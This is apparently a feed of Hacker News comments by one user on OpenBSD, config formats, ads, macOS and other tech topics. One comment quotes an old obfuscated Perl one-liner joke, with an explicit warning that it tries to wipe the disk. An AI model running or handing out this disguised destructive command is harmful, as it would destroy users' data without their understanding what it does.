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New comment by dim13 in "SDL bans AI-written commits"

dim13 — Thu, 16 Apr 2026 20:46:56 +0000

Had same idea some time ago: https://imgur.com/a/11StYkd ;)

New comment by dim13 in "Am I German or Autistic?"

dim13 — Thu, 09 Apr 2026 15:20:23 +0000

Neither Somehow.

German 29%, Autistic 22%

¯\_(ツ)_/¯

New comment by dim13 in "OpenBSD: PF queues break the 4 Gbps barrier"

dim13 — Thu, 19 Mar 2026 19:06:38 +0000

"OpenBSD does not want to attract GNU newbies." misc@

And that's IMHO is a good thing.

New comment by dim13 in "A decentralized peer-to-peer messaging application that operates over Bluetooth"

dim13 — Mon, 19 Jan 2026 12:11:09 +0000

Finally I see some people around. Was pretty lonely, as it launched.

New comment by dim13 in "Unix v4 (1973) – Live Terminal"

dim13 — Fri, 02 Jan 2026 21:18:38 +0000

Glad to have played with it a bit before it got Slashdotted. ;)

New comment by dim13 in "Fahrplan – 39C3"

dim13 — Fri, 26 Dec 2025 16:11:05 +0000

It is no longer the same. It went from somewhat exclusive dining experience to full blown nuclear junk food chain vibe.

I've stopped attending it about 10 years ago. I rather prefer to watch some few interesting topics online, and skip all the wanna-be political junk.

New comment by dim13 in "Pingfs: Stores your data in ICMP ping packets (2020)"

dim13 — Fri, 19 Dec 2025 14:54:41 +0000

Reminded me of GNU Terry Pratchett[1].

[1]: http://www.gnuterrypratchett.com/

New comment by dim13 in "Size of Life"

dim13 — Thu, 11 Dec 2025 08:42:05 +0000

Also: Banana - Although not technically living, it does make for a good size comparison.

New comment by dim13 in "Things I don't like in configuration languages"

dim13 — Mon, 17 Nov 2025 19:20:56 +0000

To be honest, all I see is https://xkcd.com/927/

All config formats are bad. You either don't need all the features at all, except key:value. Or you quickly run into weird limitations and quirks.

What I rather like instead, are custom build english-like DSL's, like:

- https://man.openbsd.org/pf.conf - https://man.openbsd.org/smtpd.conf - https://man.openbsd.org/httpd.conf - … and many more

New comment by dim13 in "Claude outage"

dim13 — Fri, 31 Oct 2025 11:48:56 +0000

I've never started. ¯\_(ツ)_/¯ And also not going to. I see enough crap, colleges produce, to never touch this pile of dung.

New comment by dim13 in "GNU Midnight Commander"

dim13 — Wed, 17 Sep 2025 13:31:30 +0000

… since 1994

New comment by dim13 in "macOS Tahoe"

dim13 — Tue, 16 Sep 2025 11:10:19 +0000

Read most of the comment, was hesitated. Then thought "it can't be that bad". Ok, it is that bad. I absolutely hate extra round corners and extra margin in the windows. Sigh.

New comment by dim13 in "No Hello"

dim13 — Tue, 17 Jun 2025 13:04:34 +0000

I usually take it even a step further by skipping useless "hello".

Instead of "Hello, did you notice, that db is down? Can you check it please?"

Just terse "DB seems to be down. Please check it."

New comment by dim13 in "[dead]"

dim13 — Tue, 03 Jun 2025 18:06:24 +0000

Hilarious, how an old joke from 2003 is still relevant today.

Please, please, please don't execute it. It will try to wipe you disk.

    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Origin: https://www.linux.org.ru/forum/development/392747

New comment by dim13 in "Calendar.txt"

dim13 — Sat, 01 Mar 2025 09:10:20 +0000

Little known, but there is already calendar(1) [1] in OpenBSD with much more sane format.

[1]: https://man.openbsd.org/calendar.1

New comment by dim13 in "Reverse Engineering Apple's typedstream Format"

dim13 — Mon, 03 Feb 2025 17:42:28 +0000

Grandfather of Protobuf is ASN.1

New comment by dim13 in "The smallest Hello World program"

dim13 — Fri, 03 Jan 2025 15:07:16 +0000

Some more:

Quick'n'dirty:

    .model small
    .code
     org 100h
    start:
     int 19h                 ; Bootstrap loader
    end start

More "correct":

    .model small
    .code
     org 100h
    start:
     db 0EAh                 ; Jump to Power On Self Test - Cold Boot
     dw 0,0FFFFh
    end start

Even more "correct":

    .model small
    .code
     org 100h
    start:
     mov ah,0Dh
     int 21h                 ; DOS Services  ah=function 0Dh
                             ;  flush disk buffers to disk
     sti                     ; Enable interrupts
     hlt                     ; Halt processor
     mov al,0FEh
     out 64h,al              ; port 64h, kybd cntrlr functn
                             ;  al = 0FEh, pulse CPU reset
    end start

New comment by dim13 in "Fake Nintendo lawyer is scaring YouTubers, and its not clear YouTube can stop it"

dim13 — Fri, 27 Dec 2024 19:25:43 +0000

I once recorded an half-hour drive and uploaded it to YT as private video for my own convenience. Got immediately a copyright claim about radio playing some music in the background.

New comment by dim13 in "The correct amount of ads is zero"

dim13 — Fri, 06 Dec 2024 10:14:54 +0000

> with zero ads the internet would be a smaller, darker place

Yes, please!

Once a while I turn off ad-blocker to remind myself how bad it got. And OMG! It is bad, Bad, BAD! Unusable. Sometimes is less more.

New comment by dim13 in "Show HN: Replace "hub" by "ingest" in GitHub URLs for a prompt-friendly extract"

dim13 — Fri, 06 Dec 2024 00:08:28 +0000

It did not digest https://github.com/torvalds/linux ¯\_(ツ)_/¯